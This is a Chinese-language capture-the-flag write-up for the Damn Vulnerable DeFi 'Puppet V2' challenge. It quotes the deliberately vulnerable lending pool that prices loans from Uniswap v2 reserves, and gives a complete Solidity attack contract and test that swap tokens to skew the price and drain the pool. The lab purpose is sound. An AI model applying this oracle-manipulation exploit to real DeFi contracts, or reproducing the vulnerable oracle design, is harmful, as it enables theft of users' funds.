1. issue
The developers of the previous pool seem to have learned the lesson. And released a new version!
Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. That should be enough.
You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance. You know what to do.
要求:通过手中的 20 ETH 和 10000 DVT ,将池中的 100万个 DVT 代币取出来。
题目链接
2. analysing 做这题是要求对 uniswap v2
有一定的了解才行。
2.1 PuppetV2Pool.sol 代码的分析如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@uniswap/v2-periphery/contracts/libraries/UniswapV2Library.sol"; import "@uniswap/v2-periphery/contracts/libraries/SafeMath.sol"; interface IERC20 { function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function balanceOf(address account) external returns (uint256); } /** * @title PuppetV2Pool * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz) */ contract PuppetV2Pool { using SafeMath for uint256; address private _uniswapPair; address private _uniswapFactory; IERC20 private _token; IERC20 private _weth; mapping(address => uint256) public deposits; event Borrowed(address indexed borrower, uint256 depositRequired, uint256 borrowAmount, uint256 timestamp); constructor(address wethAddress, address tokenAddress, address uniswapPairAddress, address uniswapFactoryAddress) public { _weth = IERC20(wethAddress); _token = IERC20(tokenAddress); _uniswapPair = uniswapPairAddress; _uniswapFactory = uniswapFactoryAddress; } /** * @notice Allows borrowing tokens by first depositing three times their value in WETH * Sender must have approved enough WETH in advance. * Calculations assume that WETH and borrowed token have same amount of decimals. */ function borrow(uint256 borrowAmount) external { // Calculate how much WETH the user must deposit // 借 WETH 的押金 amount = borrowAmount * 10 ^ 18 * reservesWETH / reservesToken uint256 amount = calculateDepositOfWETHRequired(borrowAmount); // Take the WETH _weth.transferFrom(msg.sender, address(this), amount); // internal accounting deposits[msg.sender] += amount; require(_token.transfer(msg.sender, borrowAmount), "Transfer failed"); emit Borrowed(msg.sender, amount, borrowAmount, block.timestamp); } function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) { uint256 depositFactor = 3; return _getOracleQuote(tokenAmount).mul(depositFactor) / (1 ether); } // Fetch the price from Uniswap v2 using the official libraries function _getOracleQuote(uint256 amount) private view returns (uint256) { /** 1. address(_weth), address(_token) 不能相同 2. getReserves() 该函数的作用就是为了求出在 uniswap中各自对应的存储量 */ (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves(_uniswapFactory, address(_weth), address(_token)); /** 1. amount 要求大于 0 2. reservesToken,reservesWETH 也要求大于0,也就是说要求在 uniswapv2中还有储备量 3. quote的计算源码: `amountA.mul(reserveB) / reserveA;` 3.1 代入本题:amount.mul(10 ** 18).mul(reservesWETH) / reservesToken 3.2 化简:amount * 10 ^ 18 * reservesWETH / reservesToken */ return UniswapV2Library.quote(amount.mul(10 ** 18), reservesToken, reservesWETH); } }
简单的分析,发现和上一题大差不差。
押金 = borrowAmount * 10 ^ 18 * reservesWETH / reservesToken
其中的押金是由 reservesWETH 和 reservesToken
决定的,要么改变 reservesWETH
要么 改变 reservesToken
,本题是改变 reservesWETH
。
题中已经给我们的 token
和 weth
交易对注入一定的金额了
1 2 const UNISWAP_INITIAL_TOKEN_RESERVE = 100n * 10n ** 18n ;const UNISWAP_INITIAL_WETH_RESERVE = 10n * 10n ** 18n ;
我们的任务就是将 UNISWAP_INITIAL_WETH_RESERVE
的值尽可能的变小,我们可以通过UniswapV2Router02
合约的 swapExactTokensForETH
函数,将player全部的token在 交易对中尽可能的兑换多的WETH出来,从而降低我们的押金。
解题思路:
先通过 UniswapV2Router02 中的 swapExactTokensForETH
消耗调 uniswapExchange中的 WETH
调用borrow函数
将hacker中的tokens转回player
3. solving 3.1 PuppetV2Hack.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol'; import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol'; import {PuppetV2Pool} from "./PuppetV2Pool.sol"; import "hardhat/console.sol"; interface IERC20 { function deposit() external payable; function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /** 解题思路: 1. 先通过 UniswapV2Router02 中的 `swapExactTokensForETH`消耗调 uniswapExchange中的 WETH 1.1 player给hacker转入tokens 1.2 hacker给uniswapRouter授权 ---> safeTransferFrom 1.3 根据token和weth创建一个数组 2. 调用borrow函数 2.1 将player的ETH转发给hacker 2.2 让hacker给pool授权,以此调用pool中的 transferFrom 2.3 调用borrow函数 2.4 将tokens转移到player */ contract PuppetV2Hack { IUniswapV2Router02 uniswapRouter; IERC20 token; PuppetV2Pool pool; IERC20 weth; address player; constructor( address _uniswapRouter, address _token, address _pool, address _weth) public { uniswapRouter = IUniswapV2Router02(_uniswapRouter); token = IERC20(_token); pool = PuppetV2Pool(_pool); weth = IERC20(_weth); player = msg.sender; } function attack() external payable { // 获取player的token数量 uint256 tokenAmount = token.balanceOf(address(this)); token.approve(address(uniswapRouter), tokenAmount); // 创建数组 address[] memory path = new address[](2); path[0] = address(token); path[1] = address(weth); uniswapRouter.swapExactTokensForETH( tokenAmount, 1, path, address(this), uint256(block.timestamp + 150) ); // ETH 转 WETH weth.deposit{value: address(this).balance}(); // hacker给pool授权 weth.approve(address(pool), weth.balanceOf(address(this))); // 调用borrow函数 pool.borrow(token.balanceOf(address(pool))); // 将token转给token token.transfer(player, token.balanceOf(address(this))); } // 涉及到转ETH的必须需要有这个接收函数 receive() external payable {} }
3.2 challenge.js 1 2 3 4 5 6 7 8 9 it ('Execution' , async function ( ) { const hacker = await (await ethers.getContractFactory ('PuppetV2Hack' , player)).deploy ( uniswapRouter.address , token.address , lendingPool.address , weth.address ); await (await token.connect (player)).transfer (hacker.address , PLAYER_INITIAL_TOKEN_BALANCE ); await hacker.attack ({value : PLAYER_INITIAL_ETH_BALANCE - 1n * 10n ** 17n }); });

解题成功。